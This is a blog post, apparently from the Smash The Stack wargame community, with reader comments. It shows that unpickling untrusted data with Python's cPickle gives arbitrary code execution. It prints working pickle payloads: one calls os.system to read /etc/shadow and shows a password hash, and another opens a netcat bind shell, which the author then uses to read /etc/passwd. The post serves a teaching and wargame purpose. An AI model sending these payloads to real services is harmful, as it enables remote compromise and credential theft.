Python cPickle: Allows For Arbitrary Code Execution

Hello All,

I was passing some time playing one of our new wargames at Smash The Stack called Amateria and came across something I’ve not really looked at before, Python’s cPickle library it allows for some interesting fun when unpickling untrusted data over a socket or any network communication.

Basically cPickle is a library that enables Python to perform object serialization. Pickling and unpickling are the terms used in the Python community to describe serialization and deserialization respectively. If you are unfamiliar with these terms then I suggest taking a look over the following documentation:

PyMOTW: pickle and cPickle
Pickle β€” Python Object Serialization

Onto the fun stuff… and what better way to start than with a nice little example:

root@bt:~# python
Python 2.5.2 (r252:60911, Oct 5 2008, 19:24:49)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle
>>> exploit = "cosnsystemn(S'cat /etc/shadow | head -n 5'ntR.'ntR."
>>> cPickle.loads(exploit)
root:$6$m7ndoM3p$JRVXomVQFn/KlkVbjFqCcjlMAD31QlCtoHnoWiE95Fx8Vvwkc8KH81DEePpjycglYiX98usSoESUnml3e6Nlf.:14951:0:99999:7:::
daemon:x:14592:0:99999:7:::
bin:x:14592:0:99999:7:::
sys:x:14592:0:99999:7:::
sync:x:14592:0:99999:7:::
0
>>>

OK, so what happened here? Before I explain, let’s have a look at another example that might help clarify what is going on here:

>>> import pickletools
>>> print pickletools.dis(exploit)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'cat /etc/shadow | head -n 5'
43: t TUPLE (MARK at 11)
44: R REDUCE
45: . STOP
highest protocol among opcodes = 0
None
>>>

As you can see it loads the module os, calls the system function with the command: “cat /etc/shadow | head -n 5”, and that is why the first 5 lines of the shadow file were echoed back to our prompt. So we can construct pickled data and pass that to cPickle.loads it basically executes our commands in the context of the user that python runs as, this is interesting.. I won’t delve too much into this as I don’t want to spoil the wargame level but I just thought it was a handy little trick to have in you’re arsenal πŸ™‚

Let’s take a look at another little example shall we to see the power of this:

root@bt:~# python
Python 2.5.2 (r252:60911, Oct 5 2008, 19:24:49)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle
>>> import pickletools
>>> exploit = "cosnsystemn(S'/bin/nc -l -p 56758 -c /bin/sh'ntR.'ntR."
>>> pickletools.dis(exploit)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING '/bin/nc -l -p 56758 -c /bin/sh'
46: t TUPLE (MARK at 11)
47: R REDUCE
48: . STOP
highest protocol among opcodes = 0
>>> cPickle.loads(exploit)

Now if we turn to another terminal and type: ‘echo -e “cat /etc/passwd” | nc 0 56758’ we should see something like this:

root@bt:~# echo -e "cat /etc/passwd" | nc 0 56758
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:104:113::/var/run/dbus:/bin/false
avahi:x:105:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:106:116:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:107:117:Hardware abstraction layer,,,:/var/run/hald:/bin/false
mysql:x:108:118:MySQL Server,,,:/var/lib/mysql:/bin/false
miredo:x:109:65534::/var/run/miredo:/bin/false
stunnel4:x:110:119::/var/run/stunnel4:/bin/false
miredo-server:x:111:65534::/var/run/miredo-server:/bin/false
smmta:x:112:120:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:113:121:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
dhcpd:x:114:122::/nonexistent:/bin/false
clamav:x:115:124::/var/lib/clamav:/bin/false
nstxd:x:116:65534::/var/run/nstxd:/bin/false
ntop:x:117:125::/var/lib/ntop:/bin/false
postgres:x:118:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
arpalert:x:119:128::/var/lib/arpalert:/bin/sh
privoxy:x:120:65534::/etc/privoxy:/bin/false
debian-tor:x:121:129::/var/lib/tor:/bin/bash
firebird:x:122:130::/var/lib/firebird:/bin/bash
saned:x:123:131::/home/saned:/bin/false
snmp:x:124:65534::/var/lib/snmp:/bin/false
statd:x:125:65534::/var/lib/nfs:/bin/false
festival:x:126:29::/home/festival:/bin/false

We have a remote shell now on the box πŸ™‚

If you use cPickle on sockets or in any kind of network communication you’re pretty much owned πŸ™‚ For some further reading on the subject check out the following link:

Why Python Pickle Is Insecure

Now take you’re new found knowledge and apply it to the Amateria wargame. If you get stuck or need to discuss any of the levels look at the main website for IRC connection details, the wargames channels are named after the wargames.

Enjoy! πŸ™‚

5 thoughts on “Python cPickle: Allows For Arbitrary Code Execution

  1. Hey.. I’m trying to play amateria but have no clue as to how to send the code = remotely connect… Can you give me any hints?

  2. Hello Akita,

    First of all thank you for playing our wargames πŸ™‚

    If I understand you correctly you need to look into Python’s Sockets. It is very simple, create a socket, connect the socket, send data down the socket, recieve data from the socket, close the socket. It give’s you the ability to create a connection with the specific daemon and send you’re data. I recommend dropping onto our IRC server and checking out #amateria for questions relating to that game.

    You are more than welcome to message me on the IRC server and I can help you that way, although you may have to idle on there for a bit as I am not always active on IRC. However the game admins are there to help and also the users.. so jump on IRC πŸ™‚

    Hope this helps.

Comments are closed.